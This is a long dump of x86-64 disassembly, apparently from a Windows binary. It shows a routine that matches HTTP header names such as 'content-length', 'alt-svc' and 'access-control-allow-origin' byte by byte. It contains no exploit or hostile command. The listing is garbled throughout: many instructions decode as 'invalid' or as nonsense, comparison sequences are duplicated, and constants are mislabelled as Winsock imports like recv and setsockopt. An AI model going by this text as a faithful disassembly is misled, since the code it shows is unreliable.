add byte [rcx + 0x63], cl
adc al, 0x90
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x6c
jns 0x14007f958
insb byte [rdi], dx
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x74
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
jns 0x14007f96e
sub eax, 0x1f67850f
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x76
jne case.0x14007f7ae.105
mov al, recv
mov dl, 0x63
mov r8d, 6
jmp case.0x14005f6a2.621
invalid
invalid
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0xb
ja case.0x14007f7ae.105
add byte [rbp + rcx*4 + 5], cl
cdqe
cwde
lea r8, [0x1402091f4]
cwde
sbb byte [rax], al
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
invalid
ret 0xe2ff
jmp rdx
movzx edx, byte [rcx + 1]
cmp edx, 0x63
je 0x14008157d
test byte [rbx + rbx - 0x57d0000], bh
jne 0x14007f9d4
cmp edx, 0x75
jne case.0x14007f7ae.105
test dword [rdi], ecx
invalid
cmp byte [rcx + 2], 0x74
jne case.0x14007f7ae.105
invalid
invalid
add byte [rax], al
add dh, byte [rdi + rcx - 0x7b]
add eax, 0x8000001f
jns 0x14007f9da
cmp byte [rcx + 3], 0x68
jne case.0x14007f7ae.105
invalid
push 0x1efb850f
add byte [rax], al
invalid
sti
invalid
add byte [rax + 0xf6f0479], al
test ecx, esi
invalid
cmp byte [rcx + 4], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf7a0779], al
jns 0x14007fa06
jp 0x14007fa10
test ebx, edx
invalid
cmp byte [rcx + 8], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x74
jne case.0x14007f7ae.105
mov ch, 0x1e
add byte [rax], al
cmp byte [rcx + 0xb], 0x6f
jne case.0x14007f7ae.105
mov al, reloc.WS2_32.dll_recv
mov dl, WSAGetLastError
mov r8d, recv
jmp case.0x14005f6a2.621
invalid
invalid
invalid
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x140080631
cmp edx, 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
test dword [rbp + 0x1e], edi
add byte [rax], al
test dword [rbp + 0x1e], edi
add byte [rax], al
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
invalid
add byte [rax], al
invalid
cmp byte [rcx + 4], 0x73
add al, 0x73
jne case.0x14007f7ae.105
test dword [rdi + 0x1e], ebx
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
sub eax, 0x1e4b850f
add byte [rax], al
cmp byte [rcx + 7], 0x63
jne case.0x14007f7ae.105
invalid
add byte [rax], al
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
add byte [rax + 0xf6e0979], al
test dword [0xc007facb], ebp
jns 0x14007fab9
cmp byte [rcx + 9], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
invalid
add byte [rax], al
je 0x14007fac0
test dword [rbx], esp
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14007f7ae.105
invalid
add byte [rax], al
jns 0x14007fac4
jb 0x14007faca
test dword [rcx], ebx
invalid
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x6c
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x61
jne case.0x14007f7ae.105
test ecx, esi
invalid
add byte [rax], al
test ecx, esi
sbb eax, 0x79800000
adc byte [rdi + rcx - 0x7b], ch
out 0x1d, eax
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x10], 0x6c
jne case.0x14007f7ae.105
invalid
add byte [rax], al
invalid
sbb eax, 0x79800000
adc dword [rdi + rcx - 0x7b], ebp
fstp qword [0x1b987fafe]
add byte [rax], al
invalid
invalid
cmp byte [rcx + 0x11], 0x6c
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 0x12], 0x6f
adc ch, byte [rdi + 0xf]
test ebx, edx
sbb eax, 0x79800000
adc esi, dword [rdi + 0xf]
test ecx, ecx
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x77
jne case.0x14007f7ae.105
invalid
add byte [rax], al
sbb eax, 0x79800000
adc al, 0x2d
cmp byte [rcx + 0x14], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x15], 0x6f
jns 0x14007fb32
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0x16], 0x72
jne case.0x14007f7ae.105
stosd dword [rdi], eax
invalid
add byte [rax], al
stosd dword [rdi], eax
sbb eax, 0x79800000
invalid
cmp byte [rcx + 0x17], 0x69
imul ecx, dword [rdi], 0x1da185
add byte [rax + 0xf671879], al
jns 0x14007fb53
invalid
invalid
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 0x18], 0x67
jns 0x14007fb53
sbb byte [rdi + 0xf], ah
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
test dword [rdi - 0x7fffffe3], edx
jns 0x14007fb5e
cmp byte [rcx + 0x19], 0x69
jne case.0x14007f7ae.105
imul ecx, dword [rdi], 0x1d8d85
add byte [rax + 0x416eb208], dh
mov al, 8
mov dl, WSAGetLastError
mov r8d, 0x1a
sbb al, byte [rax]
add byte [rax], al
invalid
mov al, 8
mov dl, WSAGetLastError
mov r8d, 0x1a
sbb al, byte [rax]
add byte [rax], al
invalid
sbb al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
jmp case.0x14005f6a2.621
invalid
movzx edx, byte [rcx]
cmp edx, 0x76
je 0x1400807cb
or al, 0
invalid
cmp edx, 0x64
cli
je 0x1400807b2
je 0x1400807b2
je 0x1400807b2
cmp edx, 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x67
jne case.0x14007f7ae.105
push rsi
invalid
add byte [rax], al
push rsi
sbb eax, 0xdb00000
mov al, 0xd
mov dl, 0x65
mov r8d, 2
mov eax, 2
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
cmp edx, 0x6c
je 0x14008073a
cmp edx, 0x69
jne case.0x14007f7ae.105
test dword [rdx], esi
invalid
add byte [rax], al
test dword [rdx], esi
sbb eax, 0x79800000
invalid
invalid
cmp byte [rcx + 1], 0x66
jns case.0x140135a1f.217
add dword [rsi + 0xf], esp
test dword [rax], ebp
sbb eax, 0x79800000
add ch, byte [0x15d2680c8]
add byte [rax], al
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x2d
jne case.0x14007f7ae.105
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je 0x140081726
invalid
add eax, dword [rbx - 0x7bf08d06]
pop rsi
sbb eax, dword [rax]
add byte [rbx - 0x7af09206], al
or byte [0x1b987fbd3], bl
add al, 0x61
cmp edx, 0x6d
cli
insd dword [rdi], dx
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x74
jne case.0x14007f7ae.105
test esp, esi
sbb al, 0
invalid
add eax, 0xf4850f74
sbb al, 0
add byte [rax + 0xf630679], al
test edx, ebp
sbb al, 0
add byte [rax + 0x4168b227], dh
mov dl, 0x68
mov r8d, 7
cmp byte [rcx + 6], 0x63
jne case.0x14007f7ae.105
mov al, 0x27
mov dl, 0x68
mov r8d, 7
jmp case.0x14005f6a2.621
invalid
cmp byte [rcx], 0x66
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x6f
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf720279], al
test dword [rsi - 0x7fffffe4], edi
cmp byte [rcx + 2], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x77
jne case.0x14007f7ae.105
jns 0x14007fc21
add esi, dword [rdi + 0xf]
ja 0x14007fc2f
test dword [rsp + rbx + 0x79800000], esi
add al, 0x61
invalid
mov ah, 0x1c
add byte [rax], al
cmp byte [rcx + 4], 0x61
invalid
jne case.0x14007f7ae.105
sbb al, 0
add byte [rax + 0xf720579], al
test dword [rax - 0x7fffffe4], esp
jns 0x14007fc42
invalid
cmp byte [rcx + 5], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x64
jne case.0x14007f7ae.105
invalid
jne case.0x14007f7ae.105
add byte [rax + 0xf650779], al
test dword [rsp + rbx + 0x24b00000], ecx
mov al, 0x24
cmp byte [rcx + 7], 0x65
jne case.0x14007f7ae.105
jns case.0x14007ad61.67
jne case.0x14007f7ae.105
mov al, 0x24
mov dl, 0x64
mov r8d, 8
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
cmp edx, 0x78
je 0x140080877
test byte [rdi], cl
or al, 0
invalid
cmp edx, 0x77
je 0x1400807e4
invalid
cmp edx, 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
invalid
movzx edx, byte [rcx + 8]
cmp edx, 0x6c
cli
insb byte [rdi], dx
cli
insb byte [rdi], dx
je 0x1400817c1
add byte [rax], al
add byte [rbx - 0x7af09a06], al
add ebx, dword [rax + rax]
add byte [rax + 0xf6e0979], al
or dword [rsi + 0xf], ebp
cmp edx, 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
jne case.0x14007f7ae.105
or dword [rsi + 0xf], ebp
test ecx, edi
sbb eax, dword [rax]
add byte [rax + 0xf630a79], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x64
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x69
invalid
test ecx, edx
sbb eax, dword [rax]
cmp byte [rcx + 0xa], 0x63
jne case.0x14007f7ae.105
jns 0x14007fced
invalid
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x64
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf6e0e79], al
test edi, eax
sbb eax, dword [rax]
cmp byte [rcx + 0xe], 0x6e
jne case.0x14007f7ae.105
invalid
add byte [rax + 0x4167b216], dh
mov eax, recv
mov al, reloc.WS2_32.dll_shutdown
mov dl, 0x67
mov r8d, recv
invalid
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
add edx, 0xffffff9d
cmp edx, 0x11
ja case.0x14007f7ae.105
adc dword [rbx - 0x57c623e], eax
adc dword [rdi], ecx
xchg dword [rcx + 0x4c00001b], ebp
lea eax, [0x140209150]
lea r8, [0x140209150]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x64
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf2d0379], al
test dword [rbx + 0x1b], edi
add byte [rax], al
invalid
cmp byte [rcx + 3], 0x2d
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf630479], al
test dword [rcx + 0x1b], esi
add byte [rax], al
invalid
cmp byte [rcx + 4], 0x63
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 5], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x63
jne case.0x14007f7ae.105
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf680779], al
test dword [rbx + 0x1b], edx
sbb eax, dword [rax]
invalid
cmp byte [rcx + 7], 0x68
jne case.0x14007f7ae.105
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf650879], al
jns 0x14007fd91
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x65
jne case.0x14007f7ae.105
jns 0x14007fd91
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x2d
jne case.0x14007f7ae.105
jns 0x14007fd9c
sub eax, 0x1b3f850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14007f7ae.105
jns 0x14007fda7
or ah, byte [rbx + 0xf]
test dword [0xc007fdc0], esi
invalid
cmp byte [rcx + 0xb], 0x6f
jns 0x14007fdb2
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
test dword [rbx], ebp
sbb eax, dword [rax]
add byte [rax + 0xf6e0c79], al
jns 0x14007fdbd
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x74
invalid
cmp byte [rcx + 0xc], 0x6e
jns 0x14007fdbd
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x74
jne case.0x14007f7ae.105
test dword [rdi], edx
sbb eax, dword [rax]
add byte [rax + 0xf720e79], al
test dword [0xc007fde8], ecx
invalid
invalid
jns 0x14007fdde
cmp byte [rcx + 0xe], 0x72
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf6f0f79], al
test dword [rbx], eax
sbb eax, dword [rax]
add byte [rax + 0x416cb213], dh
mov eax, reloc.WS2_32.dll_recv
cmp byte [rcx + 0xf], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
mov al, reloc.WS2_32.dll_send
mov dl, 0x6c
mov r8d, reloc.WS2_32.dll_recv
add byte [rax], al
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
mov dh, 0x11
adc dword [rbx - 0x7bf08d06], eax
xchg esp, eax
or dword [rax], eax
add byte [rbx - 0x7af09e06], al
fistp word [rdx]
add byte [rax], al
cmp edx, 0x72
je 0x140080785
cmp edx, 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x6c
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6c
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x6f
jne case.0x14007f7ae.105
sbb al, byte [rax]
add byte [rax + 0x4177b20e], dh
ja 0x14007fe5e
mov al, 0xe
mov dl, 0x77
ja 0x14007fe5e
mov eax, 4
ja 0x14007fe5e
mov eax, 4
add cl, ch
jl 0x14007fe15
jmp case.0x14005f6a2.621
invalid
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0x12
ja case.0x14007f7ae.105
lea r8, [0x140209284]
movsxd rdx, dword [r8 + rdx*4]
adc al, 0x90
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
mov dword [rdx], ebx
add byte [rax], al
mov dword [rdx], ebx
add byte [rax], al
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x70
jne case.0x14007f7ae.105
mov dl, reloc.WS2_32.dll_WSACleanup
mov r8d, 5
xor eax, eax
jmp case.0x14005f6a2.621
cmp byte [rcx], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x74
jne case.0x14007f7ae.105
add byte [rax], al
je case.0x140135a1f.237
test dword [rdi], edi
sbb al, byte [rax]
add byte [rax], al
cmp byte [rcx + 3], 0x72
jne case.0x14007f7ae.105
invalid
jns 0x14007feab
add byte [rax], al
cmp byte [rcx + 3], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x79
jne case.0x14007f7ae.105
jns 0x14007feb8
test dword [rbx], ebp
sbb al, byte [rax]
add byte [rax + 0xf2d0579], al
jns 0x14007feb6
sub eax, 0x1a21850f
add byte [rax], al
cmp byte [rcx + 6], 0x61
jne case.0x14007f7ae.105
add byte [rax], al
cmp byte [rcx + 7], 0x66
jne case.0x14007f7ae.105
invalid
jns 0x14007fed7
cmp byte [rcx + 5], 0x2d
jne case.0x14007f7ae.105
jns 0x14007feb6
sub eax, 0x1a21850f
add byte [rax], al
cmp byte [rcx + 6], 0x61
jne case.0x14007f7ae.105
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 7], 0x66
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x74
jne case.0x14007f7ae.105
je 0x14007fee0
test dword [rbx], eax
sbb al, byte [rax]
add byte [rax + 0xf650979], al
test ecx, edi
sbb dword [rax], eax
add byte [rax + 0x4172b23a], dh
mov eax, 0xa
cmp byte [rcx + 9], 0x65
jne case.0x14007f7ae.105
jns 0x14007fee2
jne case.0x14007f7ae.105
mov al, 0x3a
mov dl, WSAStartup
mov r8d, 0xa
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
cmp edx, 0x75
je 0x140080a22
cmp edx, 0x73
je 0x14008090a
cmp edx, 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
invalid
jns 0x14007ff32
jne case.0x14007f7ae.105
sbb dword [rax], eax
add byte [rax + 0xf630579], al
test dword [rdx - 0x7fffffe7], ebx
jns 0x14007ff48
cmp byte [rcx + 5], 0x63
jne case.0x14007f7ae.105
add eax, 0x9a850f63
sbb dword [rax], eax
add byte [rax + 0xf740679], al
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
je 0x14007ff53
test dword [rax - 0x7fffffe7], edx
jns 0x14007ff53
add byte [rax + 0xf690779], al
test dword [rsi - 0x7fffffe7], eax
jns 0x14007ff5e
cmp byte [rcx + 7], 0x69
jne case.0x14007f7ae.105
imul ecx, dword [rdi], 0x198685
add byte [rax + 0xf6f0879], al
test dword [rcx + rbx], edi
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
add byte [rax + 0x416eb214], dh
mov eax, 9
mov al, setsockopt
mov dl, WSAGetLastError
adc al, 0xb2
outsb dx, byte [rsi]
mov r8d, 9
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x140080a81
cmp edx, 0x69
je 0x140080969
cmp edx, 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x64
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x69
jne case.0x14007f7ae.105
test ebp, esi
sbb byte [rax], al
invalid
test ebp, esi
sbb byte [rax], al
add byte [rax + 0xf730a79], al
test ebx, ebp
sbb byte [rax], al
add byte [rax + 0xf700b79], al
jns 0x14007fffc
jo 0x140080002
cmp byte [rcx + 0xa], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x70
jne case.0x14007f7ae.105
jns 0x14007fffc
or esi, dword [rax + 0xf]
jo 0x140080002
test ecx, esp
sbb byte [rax], al
add byte [rax + 0xf6f0c79], al
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x74
jne case.0x14007f7ae.105
invalid
invalid
jns 0x140080033
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x69
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x74
jne case.0x14007f7ae.105
invalid
add byte [rax + 0xf691079], al
test dword [rdi - 0x7fffffe8], ebp
jns 0x14008003e
cmp byte [rcx + 0x10], 0x69
jne case.0x14007f7ae.105
imul ecx, dword [rdi], 0x18af85
add byte [rax + 0xf6f1179], al
test dword [rbp - 0x4fffffe8], esp
adc eax, 0xaf2e9
add byte [rax - 0x7af08fc7], al
cmp byte [rcx], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x72
jne case.0x14007f7ae.105
invalid
jns 0x140080053
cmp byte [rcx + 0x11], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
add byte [rax + 0xaf2e915], dh
add byte [rax], al
mov al, reloc.WS2_32.dll_setsockopt
jmp 0x140080b2d
cmp byte [rcx], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x6f
outsd dx, dword [rsi]
jne case.0x14007f7ae.105
test dword [rcx - 0x7fffffe8], eax
jns 0x14008005e
cmp byte [rcx + 3], 0x78
jne case.0x14007f7ae.105
js 0x14008006c
ja 0x140080078
cmp byte [rcx + 4], 0x79
add al, 0x79
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x61
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 7], 0x75
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x68
jne case.0x14007f7ae.105
push 0x183b850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x74
jne case.0x14007f7ae.105
jns 0x1400800c1
je 0x1400800c6
test dword [0xc00800d5], ebx
jns 0x1400800cc
cmp byte [rcx + 0xd], 0x69
jne case.0x14007f7ae.105
imul ecx, dword [rdi], 0x181385
test dword [rbx], edx
sbb byte [rax], al
add byte [rax + 0xf630e79], al
test dword [rcx], ecx
sbb byte [rax], al
add byte [rax + 0xf610f79], al
test edi, edi
invalid
cmp byte [rcx + 0xe], 0x63
jne case.0x14007f7ae.105
invalid
or dword [rax], ebx
add byte [rax], al
cmp byte [rcx + 0xf], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 0x10], 0x74
jne case.0x14007f7ae.105
mov al, 0x32
mov dl, 0x65
mov r8d, setsockopt
jmp case.0x14005f6a2.621
movzx edx, byte [rcx]
cmp edx, 0x78
je case.0x1400693d1.464
cmp edx, 0x73
je 0x140080b3a
cmp edx, 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 5], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x72
jne case.0x14007f7ae.105
insb byte [rdi], dx
jne case.0x14007f7ae.105
cmp byte [rcx + 0xe], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0xf], 0x6d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x10], 0x61
jne case.0x14007f7ae.105
jns 0x1400801ba
invalid
cmp byte [rcx + 0x11], 0x78
jne case.0x14007f7ae.105
add byte [rax + 0xf2d1279], al
test dword [rdi + rdx], edx
add byte [rax], al
cmp byte [rcx + 0x12], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 0x14], 0x67
jne case.0x14007f7ae.105
mov al, 0xa
mov dl, 0x65
mov r8d, reloc.WS2_32.dll_setsockopt
jmp case.0x14005f6a2.621
cmp byte [rcx], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
invalid
add byte [rax], al
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
test eax, eax
invalid
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 7], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
outsb dx, byte [rsi]
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x6c
jne case.0x14007f7ae.105
cmp byte [rcx + 0x13], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0x14], 0x73
jne case.0x14007f7ae.105
cmp byte [rcx + 0x15], 0x74
jne case.0x14007f7ae.105
je 0x1400802cd
test dword [rsi], edx
invalid
cmp byte [rcx + 0x16], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x17], 0x68
jne case.0x14007f7ae.105
cmp byte [rcx + 0x18], 0x65
jne case.0x14007f7ae.105
jns 0x1400802f2
jne case.0x14007f7ae.105
cmp byte [rcx + 0x19], 0x61
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1a], 0x64
jne case.0x14007f7ae.105
adc eax, 0x79800000
sbb esp, dword [rbp + 0xf]
test edx, ebx
adc eax, 0x79800000
jns 0x14008031e
invalid
cmp byte [rcx + 0x1b], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1c], 0x72
jns 0x14008031e
jb 0x140080313
jne case.0x14007f7ae.105
test eax, edx
adc eax, 0xbb00000
mov al, 0xb
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, 0x1d
jmp case.0x14005f6a2.621
cmp byte [rcx], 0x61
jne case.0x14007f7ae.105
adc eax, 0x79800000
add dword [rbx + 0xf], esp
test dword [rsi - 0x7fffffeb], ebp
jns 0x140080330
cmp byte [rcx + 1], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x63
jne case.0x14007f7ae.105
test dword [rbp + rdx + 0x79800000], esp
add esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffeb], ebx
jns 0x140080346
cmp byte [rcx + 3], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x73
jne case.0x14007f7ae.105
jae 0x140080353
test dword [rax - 0x7fffffeb], edx
jns 0x140080351
adc eax, 0x79800000
add eax, 0x86850f73
adc eax, 0x79800000
invalid
cmp byte [rcx + 5], 0x73
jne case.0x14007f7ae.105
jae 0x14008035d
test dword [rsi - 0x7fffffeb], eax
jns 0x14008035c
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14007f7ae.105
sub eax, 0x157c850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx + 0x15], esi
add byte [rax], al
cmp byte [rcx + 7], 0x63
jne case.0x14007f7ae.105
cmp byte [rcx + 8], 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 9], 0x6e
jne case.0x14007f7ae.105
cmp byte [rcx + 0xa], 0x74
jne case.0x14007f7ae.105
cmp byte [rcx + 0xb], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 0xc], 0x6f
or al, 0x6f
jne case.0x14007f7ae.105
cmp byte [rcx + 0xd], 0x6c
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0x15], 0x2d
jne case.0x14007f7ae.105
cmp byte [rcx + 0x16], 0x68
jne case.0x14007f7ae.105
cmp byte [rcx + 0x17], 0x65
jne case.0x14007f7ae.105
cmp byte [rcx + 0x18], 0x61
jne case.0x14007f7ae.105
adc al, 0
invalid
adc al, 0
add byte [rax + 0xf641979], al
test dword [rdx - 0x7fffffec], esi
jns 0x140080444
cmp byte [rcx + 0x19], 0x64
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1a], 0x65
jne case.0x14007f7ae.105
jne case.0x14007f7ae.105
cmp byte [rcx + 0x1b], 0x72
jne case.0x14007f7ae.105
mov al, 9
mov dl, reloc.WS2_32.dll_WSAStartup
mov r8d, 0x1c
jmp case.0x14005f6a2.621
add cl, ch
pop rcx
invalid
cmp byte [rcx + 1], 0x70
jne case.0x14007f7ae.105
cmp byte [rcx + 2], 0x67
jne case.0x14007f7ae.105
cmp byte [rcx + 3], 0x72
jne case.0x14007f7ae.105
cmp byte [rcx + 4], 0x61
test ecx, edi
adc eax, dword [rax]
